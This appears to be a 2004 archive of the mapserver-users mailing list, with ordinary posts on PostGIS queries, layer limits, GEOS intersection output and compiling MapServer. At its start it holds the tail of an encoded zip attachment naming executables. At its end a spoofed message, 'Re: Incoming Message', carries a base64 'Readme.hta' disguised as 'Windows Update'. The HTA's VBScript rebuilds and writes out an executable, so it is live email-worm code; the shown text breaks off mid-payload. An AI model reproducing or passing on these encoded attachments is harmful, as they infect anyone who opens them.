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 ----------hyncaflwbkhtvfwrcwan-- From mhln25 at yahoo.com Tue Jun 8 20:54:15 2004 From: mhln25 at yahoo.com (Mahalakshmi Narayanan) Date: Tue, 8 Jun 2004 20:54:15 -0700 (PDT) Subject: [Mapserver-users] GIS extn of SQL In-Reply-To: Message-ID: <20040609035415.27321.qmail@web50703.mail.yahoo.com> Thanks! http://www.opengis.org/docs/99-049.pdf was the document that I was looking for.. Thanks again. Mahalakshmi Narayanan --- ian macnaughtan wrote: > I'm not sure whether this is what you are looking > for but check this site > ... http://www.postgis.org/ > > This is an extension for postgresql to enable > spatial queries on > postgresql tables. > > ian. > > mapserver-users-admin at lists.gis.umn.edu wrote on > 08/06/2004 02:02:11 PM: > > > Hi > > > > Can somebody help me on where to find the GIS > extn. to > > SQL queries and the standards.. > > > > Also, if any books that's worth reading, pls.. > > > > Thanks > > Mahalakshmi Narayanan > > > > > > > > > > __________________________________ > > Do you Yahoo!? > > Friends. Fun. Try the all-new Yahoo! Messenger. > > http://messenger.yahoo.com/ > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From Antti.Roppola at brs.gov.au Tue Jun 8 21:45:05 2004 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Wed, 9 Jun 2004 14:45:05 +1000 Subject: [Mapserver-users] Limits to nquery size? Message-ID: <3E4215C93D3CE24D84A9FF385DF88D8702A0874A@afeb-ms-02> Hi all, I have a query that returns a list of polygon IDs occuring within a bounding box. When I query the entire extent, I only get about 70 out of 1300 unique IDs that I *know* exist in the query layer. This happens when running at the command line (aka, it's not timing out): ./mapserv "QUERY_STRING=map=/pathto/my.map&mode=nquery &layer=mylayer&imgxy=299.5+299.5 &imgext=-1967869+-5003573+2190678+-840380&imgbox=0+0+299.5+299.5" (I am using Mapserver 4.0.1) Am I seeing some kind of limit on the number of records returned by a query? Thanks, Antti From ms57 at streamyx.com Tue Jun 8 23:50:20 2004 From: ms57 at streamyx.com (Steve McCrone) Date: Wed, 09 Jun 2004 14:50:20 +0800 Subject: [Mapserver-users] Recompile to enable more map layers Message-ID: <000301c44dee$095f6b20$4d2c5fdb@maps> Help, I need to increas the number of map layers. Currently, I see the map.h file has - #define MS_MAXLAYERS 100 /* maximum number of layers in a map file */ I wish to double it to 200. I have tried recompiling but not experienced at this and running into problems. Has anyone recompiled for windows with a MS_MAXLAYERS of at least 150. I'd appreciate the help. Thanks, Steve From pierre.giraud3 at free.fr Wed Jun 9 00:30:35 2004 From: pierre.giraud3 at free.fr (Pierre GIRAUD) Date: Wed, 09 Jun 2004 09:30:35 +0200 Subject: [Mapserver-users] mapserver and extern interfacing In-Reply-To: <1086694116.40c5a2e4b0bf3@webmail.esm2.imt-mrs.fr> References: <1086694116.40c5a2e4b0bf3@webmail.esm2.imt-mrs.fr> Message-ID: <40C6BC9B.70407@free.fr> To be very simple, it is hopefully possible to connect mapserver to external source of datas. First of all using WMS for example. To be more concrete, we developped Cartoweb, an application using php-mapscript that can operate with multiple servers. In most cases, it is used including a cartoserver and a cartoclient. The first one generates the images (map, scalebar, icones), the request results, and pass all the application parameters to the cartoclient in xml-rpc format. The cartoclient is in charge of the setup the output page, in a browser readable format (HTML). The shapefiles and database (geospatial or not) are stored in the cartoserver. Several cartoclients are able to request the same cartoserver and we can imagine that they should be able to request different cartoservers, or WMS servers. For the last point, you should take a look at moximedia's demos that use external data from demis WMS which are good examples. Hope I answered your questions. Pierre GIRAUD camptocamp.com S?bastien DUBOIS wrote: >hi all, >if you take allok to the proprietary software like arcims soft, you'll see that >most of these soft works like servlets and allow interfacing with other >servlets which give them .xml or other. >my query is to know if mapserver can work like this. >Let's explain this more . >yet it's possible to use a database like postgresql to load layer. >but is it possible to send .shp to mapserv for a layer from an extern source >(without work with the database as a intermediary) >in other words is there an api of mapserv which allow to custumize this soft? > >thanks in advance > > From sebastien.dubois at esm2.imt-mrs.fr Wed Jun 9 00:50:57 2004 From: sebastien.dubois at esm2.imt-mrs.fr (=?iso-8859-1?b?U+liYXN0aWVu?= DUBOIS) Date: Wed, 9 Jun 2004 09:50:57 +0200 Subject: [Mapserver-users] Query error executing postgis declare Message-ID: <1086767457.40c6c16178fd7@webmail.esm2.imt-mrs.fr> Hi, i've see an old post of you with the same query as mine let's see my error output ---------------------------- msDrawMap(): Image handling error. Failed to draw layer named 'clients'. prep_DB(): Query error. Error executing POSTGIS DECLARE (the actual query) statement: 'DECLARE mycursor BINARY CURSOR FOR SELECT asbinary(force_collection(force_2d(geom)),'NDR'),OID::text from clients WHERE geom && setSRID('BOX3D(777239.130434783 1944100,803360.869565217 1964100)'::BOX3D, find_srid('','clients','geom') )' Postgresql reports the error '' More Help: Error with POSTGIS data variable. You specified ''. Standard ways of specifiying are : (1) 'geometry_column from geometry_table' (2) 'geometry_column from () as foo using unique using SRID=' Make sure you put in the 'using unique ' and 'using SRID=#' clauses in. For more help, please see http://postgis.refractions.net/documentation.php Mappostgis.c - version of June 12/2003. ----------------------- [postgre at s-gimli lib]$ postgres -V postgres (PostgreSQL) 7.4 [postgre at s-gimli lib]$ /var/www/cgi-bin/mapserv_40.bin -v MapServer version 4.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE Have you used successfully the mappostgis.c gived by David Blasby? http://postgis.refractions.net/pipermail/postgis-users/2004-January/003812.html Or have youy solved your problem by another way? thanks in advance -- S?bastien DUBOIS Ecole G?n?raliste d'Ing?nieurs de Marseille (ex ESM2) 1024D/A1140BCB Empreinte de la cl? = 1BC8 7E21 4DA7 13D5 1B5F 876F F719 2B7A A114 0BCB disponible sur www.keyserver.net ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From m.cave-ayland at webbased.co.uk Wed Jun 9 01:04:12 2004 From: m.cave-ayland at webbased.co.uk (Mark Cave-Ayland) Date: Wed, 9 Jun 2004 09:04:12 +0100 Subject: [Mapserver-users] GEOS intersection problem In-Reply-To: <8F4A22E017460A458DB7BBAB65CA6AE5219600@openmanage> Message-ID: <8F4A22E017460A458DB7BBAB65CA6AE512D26C@openmanage> Hi Zhigang, It would seem that this is not a mapserver issue but most likely a PostGIS/GEOS issue. I would suggest reposting this to the geos-devel mailing list (see http://geos.refractions.net) and the postgis-users mailing list (see http://postgis.refractions.net). Kind regards, Mark. --- Mark Cave-Ayland Webbased Ltd. Tamar Science Park Derriford Plymouth PL6 8BX England Tel: +44 (0)1752 764445 Fax: +44 (0)1752 764446 This email and any attachments are confidential to the intended recipient and may also be privileged. If you are not the intended recipient please delete it from your system and notify the sender. You should not copy it or use it for any purpose nor disclose or distribute its contents to any other person. > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > songzh at cs.orst.edu > Sent: 08 June 2004 05:40 > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] GEOS intersection problem > > > > When I performed the intersection between a MULTILINESTRING > and a POLYGON, the generated MULTILINESTRING shot off a line > which went outside the images > extents. The details are as the following: > > 1) The version of GEOS is downloaded from: > [2003//11/06]geos-1.0.0.tar.gz on http://geos.refraction.net > It's the latest version I can find. > 2) The intersection geometry objects are as the following. > > geom_base (it has three single lines with a common jointed point): > "SRID=6010;MULTILINESTRING((602797 1045929,602897 > 1045629),(602897 1045629,602997 1045929),(602897 > 1045629,602897 1045529,602897 1045599,602897 1045439,602897 1045429))" > > geom_py (a rectangle): > "SRID=6010;POLYGON((602797 1045829,602997 1045829,602997 > 1045529,602797 1045529,602797 1045829))" > > 3) After the SQL statement "select intersection(geom_base, > geom_py) from intersect_test" was issued, the intersected > geometry object was: > > geom_intersect ( a multilinestring): > "SRID=6010;MULTILINESTRING((602830.333333333 1045829,602897 > 1045629),(602897 1045629,602963.666666667 1045829),(602897 > 1045629,602897 1045599),(602897 1045599,2.30261934254173e-269 > 1.20137436645991e-301))" > > > We can see that one of the generated multiline string has a > point " 2.30261934254173e-269 1.20137436645991e-301 " which > is actually (0,0). It shows that one of the result line > string links to the point (0, 0), which caused the line going > out the image range. I want to know if anybody has any idea > about this. How to avoid it? > > Thanks a lot! > > > Yours, > Zhigang Song > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From mtomko at sunrise.sli.unimelb.edu.au Wed Jun 9 01:05:58 2004 From: mtomko at sunrise.sli.unimelb.edu.au (Martin Tomko) Date: Wed, 09 Jun 2004 18:05:58 +1000 Subject: [Mapserver-users] Win binary of 4.3build - rotating maps In-Reply-To: <20040608170003.13441.34057.Mailman@lists.gis.umn.edu> References: <20040608170003.13441.34057.Mailman@lists.gis.umn.edu> Message-ID: <6.0.0.22.2.20040609175846.01c456c8@sunrise.sli.unimelb.edu.au> Dear list, dear developers, I am trying to work on an idea/research where I vitally need the new ma rotating functionality of the mapserver (best as CGI). I do not need more advanced functions as OGR, Oracle and so on now, I just need Proj support, PNG/JPEG/GIF output and shp as input... I have never tried to compile mapserver on my own. Please, if there is anybody with a test compilation of the 4.3 nightly build available, could you please make the package available?? I am getting angry on myself always asking for binaries. I would like to learn it, but the documentation is rather weak, and I am not an experienced programmer. However, I am going to give it a try. Any documentation welcome (I can even reedit it and post as wiki, to save the work to other beginners). It is still referring to VC++. Is it possible to compile it using VS C++ .net 2003 to do it?? Oh, and I would like to thank Frank and the developers for implementing the rotatiion of maps!!!! I absolutely need it! Martin From steve.lime at dnr.state.mn.us Wed Jun 9 06:15:47 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Wed, 09 Jun 2004 07:15:47 -0600 Subject: [Mapserver-users] Re: Incoming Message Message-ID: ----------jiqfrbteobgtmjxyypza Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------jiqfrbteobgtmjxyypza Content-Type: application/octet-stream; name="Readme.hta" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Readme.hta" PEhUTUw+DQo8SEVBRD4NCjxUSVRMRT5XaW5kb3dzIFVwZGF0ZTwvVElUTEU+DQo8SFRBOkFQ UExJQ0FUSU9OIElEPSJRIiBBUFBMSUNBVElPTk5BTUU9IlEiIEJPUkRFUj0ibm9uZSIgQk9S REVSU1RZTEU9Im5vcm1hbCIgQ0FQVElPTj0ibm8iIElDT049IiIgQ09OVEVYVE1FTlU9Im5v IiBNQVhJTUlaRUJVVFRPTj0ibm8iIE1JTklNSVpFQlVUVE9OPSJubyIgU0hPV0lOVEFTS0JB Uj0ibm8iIFNJTkdMRUlOU1RBTkNFPSJubyIgU1lTTUVOVT0ibm8iIFZFUlNJT049IjEuMCIg V0lORE9XU1RBVEU9Im1pbmltaXplIi8+DQo8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+ DQpNeUZpbGUgPSAicWZsLnZicyINClNldCBGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGlu Zy5GaWxlU3lzdGVtT2JqZWN0IikNClNldCBUU08gPSBGU08uQ3JlYXRlVGV4dEZpbGUoTXlG aWxlLCBUcnVlKQ0KVFNPLndyaXRlICJkaW0gZmlsZXN5cywgZmlsZXR4dCwgZ2V0bmFtZSwg cGF0aCwgdGV4dGZpbGUsIGkiICYgdmJjcmxmDQpUU08ud3JpdGUgInRleHRmaWxlID0gIiJx d3JrLmV4ZSIiIiAmIHZiY3JsZg0KVFNPLndyaXRlICJTZXQgZmlsZXN5cyA9IENyZWF0ZU9i amVjdCgiIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IiIpIiAmIHZiY3JsZg0KVFNPLndy aXRlICJTZXQgZmlsZXR4dCA9IGZpbGVzeXMuQ3JlYXRlVGV4dEZpbGUodGV4dGZpbGUsIFRy dWUpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJnZXRuYW1lID0gZmlsZXN5cy5HZXRGaWxlTmFt ZShwYXRoKSIgJiB2YmNybGYNClRTTy53cml0ZSAiZGltIGEiICYgdmJjcmxmDQpUU08ud3Jp dGUgImE9QXJyYXkoNzcsOTAsMCwwLDEsMCwwLDAsMiwwLDAsMCwyNTUsMjU1LDAsMCw2NCww LDAsMCwwLDAsMCwwLDY0LDAsMCwwLDAsMCwwLDAsMTgwLDc2LDIwNSwzMywwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNDQsMCwwLDAsMTY5LDM4 LDIyMSwxOSwyMzcsNzEsMTc5LDY0LDIzNyw3MSwxNzksNjQsMjM3LDcxLDE3OSw2NCwyMzcs NzEsMTc5LDY0LDIzOCw3MSwxNzksNjQsOTksODgsMTYwLDY0LDEwOSw3MSwxNzksNjQsMTcs MTAzLDE2MSw2NCwyMzYsNzEsMTc5LDY0LDQyLDY1LDE4MSw2NCwyMzYsNzEsMTc5LDY0LDgy LDEwNSw5OSwxMDQsMjM3LDcxLDE3OSw2NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCw4MCw2OSwwLDAsNzYsMSwzLDAsMjA0LDE1LDE0NCw2NCww LDAsMCwwLDAsMCwwLDAsMjI0LDAsMTUsMSwxMSwxLDUsMTIsMCw4MCwwLDAsMCwxNiwwLDAs MCwxNDQsMCwwLDI0MCwyMjYsMCwwLDAsMTYwLDAsMCwwLDI0MCwwLDAsMCwwLDY0LDAsMCwx NiwwLDAsMCwyLDAsMCw0LDAsMCwwLDAsMCwwLDAsNCwwLDAsMCwwLDAsMCwwLDAsMCwxLDAs MCwxNiwwLDAsMCwwLDAsMCwyLDAsMCwwLDAsMCwxNiwwLDAsMTYsMCwwLDAsMCwxNiwwLDAs MTYsMCwwLDAsMCwwLDAsMTYsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDE2NCwyNDMsMCwwLDc2 LDIsMCwwLDAsMjQwLDAsMCwxNjQsMywwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDg1LDgwLDg4LDQ4LDAsMCwwLDAsMCwxNDQsMCwwLDAsMTYs MCwwLDAsMCwwLDAsMCwyLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxMjgsMCwwLDIy NCw4NSw4MCw4OCw0OSwwLDAsMCwwLDAsODAsMCwwLDAsMTYwLDAsMCwwLDcwLDAsMCwwLDIs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDY0LDAsMCwyMjQsNDYsMTE0LDExNSwxMTQs OTksMCwwLDAsMCwxNiwwLDAsMCwyNDAsMCwwLDAsNiwwLDAsMCw3MiwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsNjQsMCwwLDE5Miw0OSw0Niw1MCw1MiwwLDg1LDgwLDg4LDMzLDEy LDksMiw4LDE5MSwzOSw2MSw5NSwyMTgsMjA4LDExMSwxNTgsMTk5LDE5OSwwLDAsMjAxLDY2 LDAsMCwwLDE0NiwwLDAsMzgsMCwwLDIwNCwyNTUsMjU1LDI1NSwxNTUsMjUwLDIwMSw1OCwx MTMsNDIsNDMsMjQsMTQ0LDI0MywxNjMsNDMsMTYsMTM3LDI1MiwxMjMsOCwyMTgsMTIxLDY2 LDIzLDI0LDE0LDExNSwyMzgsMTI3LDk0LDgyLDE5MSwyNTMsMjU1LDI1NSwxODYsMjUwLDQs NTgsMTQzLDI0LDU3LDE3NSwxMTMsMjIsMTcyLDExMywxOTEsMjQyLDExMywxNDMsMjQ2LDEx MywxODMsMjM0LDI1LDIyNiw0NSw1OSwxNiwyNDIsMjAwLDI1MiwyMjAsMjU1LDE3NywyMjEs MjIzLDUsNTksMTEzLDI1NCwzOCwyMDEsNTYsMTg4LDI0LDE4LDE2NCw1MSw1NiwyNDYsMjUw LDQzLDEwNywyMzcsMTgzLDIzOSw0MiwxMyw0Miw1LDE0MywyMzQsMiwyNDYsMTcwLDE4LDU4 LDUsMCwxMywyNSwxMjcsMjUxLDI0Niw3LDEyMSw2MiwxNCwxNDYsMjUwLDIxOCw1MywxNDQs MjUwLDE4LDk3LDUyLDI1MCwxMTUsMTkxLDYsNjEsMTkxLDI1NSwxOTAsMTk3LDE5MCwxNCwx 